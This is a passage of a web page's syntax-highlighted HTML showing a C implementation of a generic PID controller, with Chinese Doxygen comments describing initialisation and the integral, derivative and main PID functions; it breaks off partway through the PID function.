class=\"cm\"\u003e * @brief 一个通用的PID函数,该PID接收返回数据全部为float类型\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * 使用时先构造PID_struct类型的结构体,再调用PID_init()函数初始化结构体,最后调用PID()函数得到PID的返回值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @version 0.1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @date 2023-08-24\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @copyright Copyright (c) 2023\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 初始化PID结构体\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要初始化的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param kp P项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param ki I项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param kd D项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param len I积分项长度(不能超过MAX_LEN的设定值)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param max_i I项最大输出量,防止出现积分量过大导致的过冲\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 求出积分项值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_sum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取I值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 求出微分项值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_change\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取D值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief PID函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param tar 目标值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param cur 当前值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float 返回PID计算后的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eerr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// PID数据先进先出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan 